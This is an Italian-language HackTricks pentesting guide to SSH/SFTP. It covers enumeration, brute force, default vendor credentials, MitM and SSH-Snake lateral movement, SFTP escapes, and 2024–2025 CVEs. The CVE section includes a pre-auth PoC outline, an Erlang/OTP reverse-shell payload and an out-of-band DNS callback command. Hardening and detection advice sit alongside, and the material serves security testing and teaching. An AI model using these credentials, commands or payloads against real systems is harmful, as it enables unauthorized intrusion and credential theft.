22 - Pentesting SSH/SFTP
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
SSH (Secure Shell or Secure Socket Shell) è un protocollo di rete che permette una connessione sicura a un computer attraverso una rete non protetta. È essenziale per mantenere la riservatezza e l’integrità dei dati quando si accede a sistemi remoti.
Porta predefinita: 22
22/tcp open ssh syn-ack
Server SSH:
- openSSH – OpenBSD SSH, fornito in BSD, distribuzioni Linux e Windows da Windows 10
- Dropbear – implementazione SSH per ambienti con risorse limitate di memoria e CPU, fornita in OpenWrt
- PuTTY – implementazione SSH per Windows, il client è comunemente usato ma l’uso del server è più raro
- CopSSH – implementazione di OpenSSH per Windows
Librerie SSH (implementano il lato server):
- libssh – libreria C multipiattaforma che implementa il protocollo SSHv2 con binding in Python, Perl e R; è usata da KDE per sftp e da GitHub per l’infrastruttura git SSH
- wolfSSH – libreria server SSHv2 scritta in ANSI C e pensata per ambienti embedded, RTOS e a risorse limitate
- Apache MINA SSHD – la libreria Java Apache SSHD si basa su Apache MINA
- paramiko – libreria Python per il protocollo SSHv2
Enumerazione
Banner Grabbing
nc -vn <IP> 22
ssh-audit automatizzato
ssh-audit è uno strumento per l’auditing della configurazione di server e client ssh.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
Funzionalità:
- Supporto server per i protocolli SSH1 e SSH2;
- analizza la configurazione del client SSH;
- recupera il banner, riconosce il dispositivo o il software e il sistema operativo, rileva la compressione;
- raccoglie algoritmi di key-exchange, host-key, encryption e message authentication code;
- mostra informazioni sugli algoritmi (disponibile da, rimosso/disabilitato, insicuro/debole/legacy, ecc.);
- fornisce raccomandazioni sugli algoritmi (aggiungere o rimuovere in base alla versione software riconosciuta);
- fornisce informazioni di sicurezza (problemi correlati, elenco CVE assegnati, ecc.);
- analizza la compatibilità delle versioni SSH basandosi sulle informazioni sugli algoritmi;
- informazioni storiche da OpenSSH, Dropbear SSH e libssh;
- funziona su Linux e Windows;
- nessuna dipendenza
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Chiave SSH pubblica del server
ssh-keyscan -t rsa <IP> -p <PORT>
Algoritmi di cifratura deboli
Questo viene rilevato di default da nmap. Ma puoi anche usare sslcan o sslyze.
Nmap scripts
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
In alcune versioni di OpenSSH puoi effettuare un timing attack per enumerare gli utenti. Puoi utilizzare un metasploit module per sfruttarlo:
msf> use scanner/ssh/ssh_enumusers
Brute force
Alcune comuni credenziali ssh qui e qui e sotto.
Private Key Brute Force
Se conosci alcune ssh private keys che potrebbero essere usate… proviamo. Puoi usare lo script nmap:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Oppure il MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Oppure usa ssh-keybrute.py (python3 nativo, leggero e con algoritmi legacy abilitati): snowdroppe/ssh-keybrute.
Known badkeys possono essere trovati qui:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Weak SSH keys / Debian predictable PRNG
Alcuni sistemi presentano vulnerabilità note nel seed casuale usato per generare il materiale crittografico. Questo può portare a uno keyspace drasticamente ridotto che può essere bruteforced. Set pre-generati di keys creati su sistemi Debian affetti da PRNG debole sono disponibili qui: g0tmi1k/debian-ssh.
Dovresti consultare queste risorse per cercare keys valide per la macchina vittima.
Kerberos / GSSAPI SSO
Se il server SSH di destinazione supporta GSSAPI (per esempio Windows OpenSSH su un domain controller), puoi autenticarti usando il tuo Kerberos TGT invece di una password.
Flusso di lavoro da un host Linux dell’attaccante:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Note:
- Se ti connetti al nome sbagliato (es. hostname breve, alias, o ordine errato in
/etc/hosts), potresti ottenere: “Server not found in Kerberos database” perché lo SPN non corrisponde. crackmapexec ssh --kerberospuò anche usare la tua ccache per l’autenticazione Kerberos.
Credenziali Predefinite
| Fornitore | Nomi utente | Password |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Se sei nella rete locale come la vittima che si sta per connettere al server SSH usando username e password, puoi provare a eseguire un attacco MitM per rubare quelle credenziali:
Percorso dell’attacco:
- Reindirizzamento del traffico: L’attaccante devia il traffico della vittima verso la sua macchina, intercettando così il tentativo di connessione al server SSH.
- Intercettazione e registrazione: La macchina dell’attaccante agisce come un proxy, catturando i dettagli di login dell’utente fingendosi il server SSH legittimo.
- Esecuzione dei comandi e relay: Infine, il server dell’attaccante registra le credenziali dell’utente, inoltra i comandi al server SSH reale, li esegue e invia i risultati all’utente, rendendo il processo apparentemente trasparente e legittimo.
SSH MITM fa esattamente quanto descritto sopra.
Per eseguire il MitM effettivo potresti usare tecniche come ARP spoofing, DNS spoofin o altre descritte in Network Spoofing attacks.
SSH-Snake
Se vuoi attraversare una rete utilizzando SSH private keys scoperte sui sistemi, utilizzando ogni private key su ciascun sistema per raggiungere nuovi host, allora SSH-Snake è ciò di cui hai bisogno.
SSH-Snake esegue automaticamente e in modo ricorsivo le seguenti operazioni:
- Sul sistema corrente, trova eventuali SSH private keys,
- Sul sistema corrente, trova eventuali host o destinazioni (user@host) dove le private keys possono essere accettate,
- Prova a SSH in tutte le destinazioni usando tutte le private keys scoperte,
- Se una destinazione viene connessa con successo, ripete i passi #1 - #4 sul sistema connesso.
Si auto-riproduce e si auto-propaga completamente — ed è totalmente fileless.
Malconfigurazioni
Accesso root
È comune che i server SSH consentano l’accesso dell’utente root di default, il che rappresenta un rischio significativo per la sicurezza. Disabilitare l’accesso root è un passaggio critico per mettere in sicurezza il server. L’accesso non autorizzato con privilegi amministrativi e gli attacchi brute force possono essere mitigati effettuando questa modifica.
Per disabilitare l’accesso root in OpenSSH:
- Modifica il file di configurazione SSH con:
sudoedit /etc/ssh/sshd_config - Cambia l’impostazione da
#PermitRootLogin yesaPermitRootLogin no. - Ricarica la configurazione usando:
sudo systemctl daemon-reload - Riavvia il server SSH per applicare le modifiche:
sudo systemctl restart sshd
SFTP Brute Force
Esecuzione comandi via SFTP
C’è un errore comune nelle configurazioni SFTP, dove gli amministratori intendono che gli utenti scambino file senza abilitare l’accesso shell remoto. Nonostante si imposti agli utenti una shell non interattiva (es. /usr/bin/nologin) e li si confini in una directory specifica, rimane una falla di sicurezza. Gli utenti possono eludere queste restrizioni richiedendo l’esecuzione di un comando (come /bin/bash) immediatamente dopo il login, prima che la loro shell non interattiva designata prenda il controllo. Questo permette l’esecuzione non autorizzata di comandi, vanificando le misure di sicurezza previste.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Ecco un esempio di configurazione SFTP sicura (/etc/ssh/sshd_config – openSSH) per l’utente noraj:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Questa configurazione permetterà solo SFTP: disabilitando l’accesso shell forzando il comando di avvio e disabilitando l’accesso TTY ma anche disabilitando ogni tipo di port forwarding o tunneling.
SFTP Tunneling
Se hai accesso a un server SFTP puoi anche effettuare tunneling del tuo traffico attraverso questo, per esempio usando il comune port forwarding:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
Il sftp dispone del comando “symlink”. Pertanto, se hai permessi di scrittura in qualche cartella, puoi creare symlinks di altre cartelle/file. Siccome probabilmente sei intrappolato dentro un chroot questo non sarà particolarmente utile per te, ma, se puoi accedere al symlink creato da un no-chroot service (per esempio, se puoi accedere al symlink dal web), potresti aprire i file symlinked tramite il web.
For example, to create a symlink from a new file “froot” to “/”:
sftp> symlink / froot
Se puoi accedere al file “froot” via web, potrai elencare la cartella root (“/”) del sistema.
Metodi di autenticazione
In ambienti ad alta sicurezza è pratica comune abilitare solo l’autenticazione basata su chiave o a due fattori piuttosto che la semplice autenticazione basata su password. Ma spesso i metodi di autenticazione più forti vengono abilitati senza disabilitare quelli più deboli. Un caso frequente è abilitare publickey nella configurazione di openSSH e impostarlo come metodo predefinito senza disabilitare password. Quindi, usando la modalità verbose del client SSH un attaccante può vedere che un metodo più debole è abilitato:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Ad esempio, se è impostato un authentication failure limit e non hai mai la possibilità di raggiungere il password method, puoi usare l’opzione PreferredAuthentications per forzarne l’uso.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
È necessario rivedere la configurazione del server SSH per verificare che siano autorizzati solo i metodi previsti. L’uso della modalità verbose sul client può aiutare a valutare l’efficacia della configurazione.
Config files
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Vulnerabilità critiche recenti (2024)
CVE-2024-6387 – regreSSHion signal-handler race
OpenSSH 8.5p1–9.7p1 ha rimosso la guardia di logging async-safe dentro l’handler SIGALRM di sshd, reintroducendo CVE-2006-5051 e permettendo ad attaccanti non autenticati di corrompere l’heap di glibc non appena scade LoginGraceTime. Qualys ha weaponized il bug per ottenere root RCE su Linux a 32 bit e ha notato che i target a 64 bit restano suscettibili a brute-force con abbastanza grooming attempts, quindi priorizza gli host che durante i banner grabs rivelano ancora quelle versioni.
L’exploit è basato sul timing: bombarda il daemon con sessioni half-open che non si autenticano mai in modo che il monitor privilegiato colpisca ripetutamente il percorso di signal vulnerabile mentre tu plasmi lo stato dell’allocator.
Suggerimenti per l’operatore:
- Fingerprint delle build con
ssh -V(remote banner) ossh -G <target> | grep ^userauthse conferma cheLoginGraceTimesia diverso da zero. - Pressure-test un target di laboratorio spammandogli sessioni di breve durata che non richiedono autenticazione, per esempio:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
- Gli host che forzano
LoginGraceTime 0non raggiungono mai il percorso di codice buggy—attendi solo un vettore DoS esaurendoMaxStartups.
CVE-2024-3094 – xz/liblzma supply-chain backdoor
XZ Utils 5.6.0 e 5.6.1 hanno pubblicato tarball di release trojanizzati i cui script di build smistano un oggetto nascosto durante il packaging Debian/RPM su x86-64 Linux. Il payload abusa del resolver IFUNC di glibc per hookare RSA_public_decrypt in sshd (quando le patch di systemd costringono liblzma a essere caricata) e accetta pacchetti firmati dall’attaccante per pre-auth code execution.
Poiché la logica malevola risiede solo dentro quei binari pacchettizzati, la validazione offensiva deve ispezionare cosa il victim ha effettivamente installato: controlla xz --version, rpm -qi xz/dpkg -l xz-utils, confronta gli hash di /usr/lib*/liblzma.so* e ispeziona ldd /usr/sbin/sshd | grep -E "systemd|lzma" per vedere se sshd carica la dipendenza compromessa. L’hook resta dormiente a meno che il processo non abbia path /usr/sbin/sshd, quindi spesso è necessario ricreare l’ambiente di build della distro per riprodurre la backdoor in laboratorio.
Authentication State-Machine Bypass (Pre-Auth RCE)
Diversi implementazioni di SSH server contengono difetti logici nella finite-state machine di autenticazione che permettono a un client di inviare messaggi del connection-protocol prima che l’autenticazione sia completata. Poiché il server non verifica di trovarsi nello stato corretto, quei messaggi vengono gestiti come se l’utente fosse completamente autenticato, portando a una unauthenticated code execution o alla creazione di sessioni.
A livello di protocollo, qualsiasi messaggio SSH con un message code ≥ 80 (0x50) appartiene al layer connection (RFC 4254) e deve essere accettato solo dopo l’autenticazione riuscita (RFC 4252). Se il server processa uno di quei messaggi mentre è ancora nello stato SSH_AUTHENTICATION, l’attaccante può immediatamente creare un channel e richiedere azioni come command execution, port-forwarding, ecc.
Generic Exploitation Steps
- Stabilire una connessione TCP alla porta SSH del target (comunemente 22, ma altri servizi possono esporre Erlang/OTP su 2022, 830, 2222…).
- Creare un pacchetto SSH raw:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (es.
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - Payload che sarà interpretato dal tipo di message scelto
- Inviare il/i pacchetto/i prima di completare qualsiasi step di autenticazione.
- Interagire con le API del server ora esposte pre-auth (command execution, port forwarding, accesso al file-system, …).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
Nella pratica dovrai eseguire (o saltare) lo scambio di chiavi secondo l’implementazione del target, ma nessuna autenticazione viene mai eseguita.
Erlang/OTP sshd (CVE-2025-32433)
- Versioni affette: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Causa principale: Il daemon SSH nativo di Erlang non valida lo stato corrente prima di invocare
ssh_connection:handle_msg/2. Di conseguenza qualsiasi pacchetto con codice messaggio 80-255 raggiunge il gestore della connessione mentre la sessione è ancora nello stato userauth. - Impatto: unauthenticated remote code execution (il daemon solitamente gira come root su dispositivi embedded/OT).
Esempio di payload che avvia una reverse shell legata al canale controllato dall’attaccante:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection possono essere eseguiti tramite DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Rilevamento e mitigazione:
- Inspect SSH traffic: drop any packet with message code ≥ 80 observed before authentication.
- Aggiorna Erlang/OTP a 27.3.3 / 26.2.5.11 / 25.3.2.20 o versioni più recenti.
- Restringi l’esposizione delle porte di management (22/2022/830/2222) – soprattutto su apparecchiature OT.
Altre implementazioni interessate
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – accetta un
SSH_MSG_USERAUTH_SUCCESSnon autenticato inviato dal client, effettivamente il difetto logico inverso.
La lezione comune è che qualsiasi deviazione dalle transizioni di stato imposte dall’RFC può essere fatale; quando si revisionano o si fuzzano i daemon SSH prestare particolare attenzione alla state-machine enforcement.
Riferimenti
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
- Qualys – regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk – The XZ backdoor (CVE-2024-3094)
HackTricks Comandi automatici
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


